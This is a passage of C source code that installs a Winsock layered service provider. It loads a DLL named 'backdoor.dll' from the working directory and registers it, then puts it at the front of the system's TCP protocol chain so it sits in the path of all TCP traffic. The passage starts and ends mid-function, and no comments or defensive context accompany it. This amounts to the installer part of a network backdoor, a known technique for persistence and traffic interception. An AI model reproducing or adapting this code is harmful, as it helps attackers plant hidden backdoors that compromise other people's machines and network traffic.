{
rawip=TRUE;
memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
if(!tcpip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_TCP)
{
tcpip=TRUE;
tcporigcataid=protoinfo[i].dwCatalogEntryId;
memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
}
_tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));
iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;
if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
{
printf("GetCurrentDirectory Error: %d\n",GetLastError());
return ;
}
_tcscpy(filter_name,_TEXT("\\backdoor.dll"));
_tcscat(filter_path,filter_name);
if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider Error: %d\n",errorcode);
return ;
}
freefilter();
getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
iplayercataid=protoinfo[i].dwCatalogEntryId;
break;
}
}
provcnt=0;
if(tcpip)
{
swprintf(chainname,_TEXT("TCP FILTER"));
_tcscpy(tcpchaininfo.szProtocol,chainname);
if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
{
tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
}
else
{
for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
{
tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
}
}
tcpchaininfo.ProtocolChain.ChainLen++;
tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
}
if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider for chain Error: %d\n",errorcode);
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